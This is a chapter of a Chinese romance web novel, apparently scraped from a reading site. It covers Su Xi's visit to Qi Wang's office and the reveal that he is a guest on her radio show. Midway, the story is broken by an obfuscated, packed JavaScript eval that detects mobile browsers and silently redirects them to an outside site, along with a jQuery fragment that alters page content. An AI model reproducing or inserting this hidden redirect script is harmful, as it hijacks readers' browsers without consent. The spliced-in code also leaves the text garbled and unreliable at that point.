苏溪坐在戚妄办公室里，默默打量室内陈设。


    简单的黑白色，几件现代化摆件，干净舒服。


    转头看向背后的落地窗，窗帘没放，整个工作区一览无余。一颗颗人头，或仰或斜，无一例外全在看她。


    见她目光扫来，动作整齐且迅速的躲避，埋头工作。


    苏溪觉得很有意思。


    没多久，窗外又冒出几颗，或仰或斜，苏溪朝他们笑了笑。


    于是，有了短暂的骚动。


    一只耳见到她兴奋地又蹦又跳，互相亲热了许久，苏溪观察它的脸颊和眼睛，虽然没消肿，但也没恶化，算是好消息了。


    没多久一只耳终于累了，躺在苏溪脚边睡着了。苏溪找了本杂志看，翻了大概十多页，门被推开。


    进来的人在看到她后愣住了，手推着门把忘记松开，脚定在原地忘记往前。


    苏溪，“不认识我了？”


    戚妄松开门把，关门，“怎么来这么早？”


    苏溪，“空了，就过来了。”


    戚妄绕过桌子，坐进办公椅里，手放在鼠标上快速滑动两下，滑动完又敲了两下键盘。


    苏溪以为他要工作了，却见他停下手，拿起一旁的水杯喝。透明的杯子里，浅浅的一层水，连一口都不到。


    苏溪起身，走向身后的茶几，那里有戚妄同事在她来后给她煮的茶。


    杯底都仰到天花板了，只有几滴冰凉的水入喉。


    戚妄，“……”


    哦，原来没水了。


    一抬头，见苏溪端着茶壶过来，戚妄后知后觉将杯子递过去。


    茶水还烫着，避免冷热交替引起炸杯。苏溪取走他的杯子，先倒了点烫水热杯，然后才倒满，重新递给他。


    戚妄，“谢谢。”


    苏溪将茶壶放回原位，重新在戚妄对面的位置坐下。


    戚妄端着杯子，迅速喝了一口。那一口挺满的，苏溪清晰地看到他僵住了。


    “不烫吗？”苏溪问。


    那口水在戚妄口腔里停留了两秒，被他不动声色地咽了下去，“还行。”


    “我在这里，你好像不自在。”


    苏溪刚说完，戚妄快速抬头，“没有，我只是……”


    双目自两人在这间办公室遇见后首次对视，苏溪不解，“只是什么？”


    戚妄神色平静，“你第一次来我公司，我还不太习惯。”


    苏溪，“……”


    这解释给的她很猝不及防。


    “你的同事们都挺热情的。”苏溪说着，和戚妄一起看向落地窗。


    外头已经不是或仰或斜了，先看到的是余洸，整个办公室只有他站着，胳膊肘夹着会议资料。有了这位领头羊主心骨，大家光明正大地盯着他俩看。


    余洸抬起手，手里还拿着笔，笑眯眯地朝他俩打招呼。


    苏溪也抬手。


    戚妄起身，走到落地窗旁，拉住绳子往下扯。百叶窗刷的一下降落，遮住所有视线。


    一气呵成。


    苏溪怔住，看他。


    戚妄沉默一秒，解释，“他们太八卦了。”


    苏溪忍不住笑了，“你们氛围挺好的。”


    “嗯，来过的人都这么说。”


    苏溪打量戚妄表情。


    戚妄直视她，“干嘛这么看我？”


    苏溪，“你这是在炫耀吗？”


    戚妄，“我是实话实说。”


    外头工作区。


    “余洸，那位美女是我们老板娘吗？”


    “是我接待的！我接待的！我亲耳听见她说来接老板下班的！我可以作证！”


    余洸老神在在地坐在位置上，扫视一圈四周好奇的眼神，嘴角上扬，露出上帝般的微笑，“呵~你们猜错了。”


    朋友多年，虽然很气戚妄不告诉他老婆是谁，但绝对不可能是苏溪！


    “快快，那你倒是说啊！”


    “再不说，小心我打你。”


    余洸又欣赏了一圈诸多急不可耐的视线，见吸引力被挑到最高点，才慢悠悠说，“她叫苏溪，是戚妄的姐姐。”


    “姐姐？不同姓，表亲？”


    “她是单身吗？”


    “你没带眼镜？人无名指带了戒指呢。”


    “啊~哎……我还以为她单身可撩。”


    “我还以为是老板娘呢。”


    收拾好东西，苏溪和戚妄从办公室出来，脚边跟着晃悠悠的小胖狗。


    路过安静地办公区。


    虽然无人说话，但他们的眼神要不是这么火热就好了。


    戚妄促足，“你们……”


    众人仰头。


    戚妄，“还不下班？”


    他看了眼手表，已经5点过5分，平时早没影了。


    众人装模作样的起身收拾东西，“马上走。”


    戚妄，“那我们先走了。”


    “拜拜~”


    戚妄对身边的苏溪说，“走吧。”


    苏溪朝众人笑笑，跟着戚妄进了电梯。


    梯门关上的瞬间，苏溪隐约听见人声沸腾，“你这里平时没有女性过来吗？”


    戚妄，“有几个女客户。”


    苏溪，“那他们为什么这么激动？”


    戚妄，“应该是下班了，开心。”


    苏溪，“哦。”


    ……


    忙完一天的工作，江澄礼去停车场的路上，给杨震远打去电话。


    “嘟嘟——”没嘟完，被挂断。


    江澄礼看了眼屏幕上被放大的灰色‘X’，这是被拒接了？


    没有半点犹豫，他重新拨通。


    “嘟嘟——”依旧没嘟完，被挂断。


    江澄礼重复以上动作。


    “你有病，有完没完！”杨震远对着话筒大吼。


    江澄礼拉远手机，声音平静说，“白天忙，你发的那句话什么意思？”


    ——【妈的，你不是人，给老子滚蛋吧你！友尽！】


    杨震远摁眉心，叹气，“你老实说，昨天吃过饭你是不是找苏溪了？”


    江澄礼找车的脚步停住，下意识想问‘苏溪跟你告状了？’，但意识到之前的误解，他改了措词，“对。”


    杨震远叹气声拉得又远又长。


    江澄礼，“你怎么知道的？”


    杨震远，“我找她说事，聊到你，就跟我说了。”


    江澄礼挑眉。


    杨震远有力的‘啧’了一声，“放心吧，人大方着呢，就是想看看热闹，欣赏下我尴尬的样子。多大方一美女，你个瘪犊子，小气巴拉！”


    江澄礼找到了自己的车子，坐进去，“你当时很尴尬？”


    杨震远大喊，“废话！”


    江澄礼笑，“我向你道歉。”


    杨震远，“嗯哼~”


    江澄礼，“明天苏溪有空吗？”


    “咋？你要干啥？”


    “不干什么，去道歉。”


    “啊？”


    /


    隔天，苏溪起来，见戚妄还在家里，“怎么没去公司？”


    戚妄将餐盘摆上桌，“今天我开车送你，正好要去趟电台。”


    苏溪点头，“嗯。”


    车子到了电台，相继下车。到了入口打完卡，苏溪将工牌递给戚妄，“给你。”


    戚妄接过，看了眼工牌问，“给我？我用不到。”


    苏溪，“你不是要继续参观电台？”上次戚妄拿着她的工牌参观过。


    戚妄，“不是啊。”


    苏溪顿足，“那你来电台，是做什么？”


    戚妄也跟着顿足，“我没和你说吗？”


    苏溪，“？”


    戚妄，“我是第二期嘉宾。”


    苏溪顿格许久，先想了下最近还有哪个新启的综艺，正好在录制到第二期的。没能想起来，她仰头，“哪个节目？”


    戚妄，“《故事里》。”


    苏溪，“……”


    几分钟后，苏溪找到杨震远。


    听到苏溪在问戚妄第二期嘉宾的事，他诧异极了，看向戚妄问，“你后来没和苏老师说嘛？”


    戚妄，“忘了。”


    杨震远，“……”


    苏溪看着两人，皱眉，“到底怎么回事？”


    戚妄解释，“我第一次跟你来电台，遇到了他和另一位。他们邀请我参加《故事里》，我答应了。本来想跟你说的，但那天你在忙第一期嘉宾的事，我就没提，后来就忘了。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756833|157190||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    总感觉他省略了很多，杨震远欲言又止的表情确定了苏溪的想法。


    杨震远决定解释一下，“……是这么回事。”


    ……


    被第一期嘉宾放鸽子后，杨震远和制片离开会议室，前往隔壁大楼，梯门刚打开就看到一个高个儿帅气的年轻人，他拿着手机，似乎在拍手中的工作牌。


    杨震远眼尖，工牌上的照片他刚见过本人，“你是在找苏老师吗？她不在这栋楼？我们刚才正好一起开会。”


    “嗯，我知道了，谢谢。”对方淡淡说。


    “杨导，他是？”一旁的制片目露好奇问。


    杨震远，“哦，忘了介绍了，这位是苏老师的弟弟。”


    “戚妄？”制片点点头，若有所思，“这名字有点熟悉。”


    杨震远，“你想说的，是前两天上热搜的那位吧。”


    制片愣住，眼睛亮了，“对。”


    两人互相对视，几乎瞬间就明白了对方的想法。


    制片走到戚妄跟前，“我突然这么说可能有点冒昧，能考虑下我们现在在做的节目吗？就做一期的访谈嘉宾就行，因为是重启的节目，出场费可能不会太高，当然你有任何想法也可以和我们提。”


    戚妄，“《故事里》？”


    制片很惊喜，“你知道？”


    戚妄，“嗯，听苏溪说过。”


    制片，“怎么样，有兴趣吗？”


    戚妄看着他，“为什么是我？”


    制片毫不犹豫，“《故事》需要有知名度的人来帮助宣传，我正好关注过你，你每次出现，次次都能热搜，网上讨论度很高。”


    “我不是单身，我已婚了，炒不了人设。”戚妄说。


    制片和杨震远同时笑了下。


    “人设是不分单身不单身的，正大光明的宣布已婚，反而更讨喜。”制片用一种意味深长的语气在说。


    戚妄思忖，“好，现在签合同吗？”


    制片愣住，“啊？你答应了？不用再……考虑下？”


    戚妄，“不需要。”


    他的语气很淡，就像他的表情一样平静。


    签合同的时候，杨震远和制片都在观察戚妄，从坐姿到表情。心中不由升起怪怪的感觉。帅是挺帅的，但说起话来有点……对，噎死人。


    长着一张始乱终弃的脸，实际做起事来一刀事了，这种反差强烈的让人无法忽视。


    “好了。”合同签完，戚妄放下笔。


    室内短暂的寂静，白底黑字，名字时间都有，没有问题。


    制片盖上合同，微笑，“那以后，合作愉快。”


    ……


    以上。


    杨震远说完看向苏溪，“苏老师，前天你和我通完电话，我就决定后续嘉宾一定由您把关再签合同。但这事是之前发生的，何况你们还彼此熟悉，所以……”


    苏溪看看他，又看看戚妄。


    两人，“……”


    苏溪指尖在桌面敲了敲，一下一下。


    两人，“……”


    苏溪问，“除了这件事，你们还有什么事没跟我说吗？”


    迅速摇头。


    苏溪，“好，那就准备采访内容吧。”


    杨震远错愕，“确定了？”


    “我确实没想到戚妄会是第二期嘉宾，但他很符合我们的采访对象，毕竟他很优秀这件事，我一清二楚。”


    苏溪抬眸，看向眼前的男人。


    他因她的话露出些许怔愣的表情，也许现在说这些很迟，她依旧忍不住想说。褪去稚气的男人，他或许颓废过，或许痛苦过，在无人知晓的道路上，他以一己之力创建了属于自己的理想国。


    苏溪笑了下，伸出右手，“戚先生，合作愉快。”


    戚妄没动，面前这只手他牵过很多次。


    担心她冷到，他握过。害怕被人冲撞，他握过。受伤后，他握过。


    每次，他都假装不经意地握住，感受她的皮肤和温度。小心地控制住力道，小心地隐藏住所有情绪。


    这是第一次，在人前，光明正大。


    戚妄抬手，握住。肌肤接触，直到包裹住她掌中全部温度，再不留一丝空隙。


    “苏小姐，合作愉快。”